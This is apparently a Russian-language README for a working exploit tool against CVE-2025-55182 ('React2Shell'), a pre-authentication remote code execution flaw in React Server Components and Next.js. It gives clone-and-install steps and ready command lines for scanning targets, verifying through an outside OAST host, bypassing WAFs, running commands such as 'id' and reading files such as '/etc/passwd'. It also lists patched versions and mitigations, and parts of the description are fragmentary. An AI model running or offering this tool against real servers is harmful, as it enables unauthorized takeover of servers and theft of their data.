
Эксплойт RCE до аутентификации для CVE-2025-55182 (React2Shell), нацеленный на React Server Components. Включает сканирование, верификацию OAST, обход WAF, выполнение команд и чтение файлов.
Удалённое выполнение кода без аутентификации в React Server Components (RSC), Next.js и связанных фреймворках.
CVE-2025-55182 (также известна как React2Shell) — это критическая уязвимость удалённого выполнения кода без аутентификации, затрагивающая экосистему React Server Components (RSC). Неаутентифицированный злоумышленник может полностью скомпрометировать уязвимый сервер с помощью одного специально сформированного HTTP POST-запроса.
React Server Components использует собственный формат передачи данных под названием React Flight для сериализации ссылок на функции и вызовов модулей. Уязвимость существует в механизме декодирования полезной нагрузки, который обрабатывает входящие POST-запросы к конечным точкам RSC.
Когда сервер получает полезную нагрузку React Flight, он десериализует содержимое без надлежащей проверки, доверяя управляемым злоумышленником полям $$typeof и разрешению ссылок на модули. Это позволяет злоумышленнику:
child_process, fs, net)$F (функция)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 Critical
id, whoami)./etc/passwd, package.json).git clone https://github.com/SentinelXofficial/CVE-2025-55182
cd CVE-2025-55182
pip install -r requirements.txt
Использование
Базовое сканирование
python3 poc.py -t https://target.com
python3 poc.py -t https://target.com --timeout 15
python3 poc.py -t https://target.com --json
Проверка RCE с OAST
python3 poc.py -t https://target.com -m verify --oast your.oast.domain
Полное тестирование обхода
python3 poc.py -t https://target.com -m bypass --verbose
Выполнение команд
python3 poc.py -t https://target.com -m exec --cmd "id"
python3 poc.py -t https://target.com -m exec --cmd "whoami" --timeout 20
Чтение файлов
python3 poc.py -t https://target.com -m read --file "/etc/passwd"
python3 poc.py -t https://target.com -m read --file "/app/package.json"
Использование прокси (например, Burp Suite)
python3 poc.py -t https://target.com --proxy http://127.0.0.1:8080
Структура файлов
CVE-2025-55182/
├── README.md
├── poc.py
├── requirements.txt
└── exploit/
├── __init__.py
├── payloads.py
├── scanner.py
├── bypass.py
└── rce.py
Меры по смягчению
Патч (рекомендуется)
npm install [email protected]
npm install [email protected] [email protected]
Временные обходные решения
· Отключите Server Functions ("use server") · Правила WAF для блокировки Content-Type: text/x-component · Сегментация сети для конечных точек RSC
Ссылки
· https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components · https://www.cve.org/CVERecord?id=CVE-2025-55182 · https://nvd.nist.gov/vuln/detail/CVE-2025-55182
Отказ от ответственности: Только для авторизованного тестирования безопасности.
Автор: SentinelX · https://t.me/SentinelXsecurity
| Пакет | Уязвимые | Исправленные |
|---|
react-server-dom-webpack | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
react-server-dom-parcel | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
react-server-dom-turbopack | 19.0.0 – 19.2.0 | ≥ 19.2.1 |
next (13.x) | 13.3.0 – 13.5.x | ≥ 14.2.35 |
next (14.x) | 14.0.0 – 14.2.34 | ≥ 14.2.35 |
next (15.x) | 15.0.0+ (см. патч) | исправленные релизы |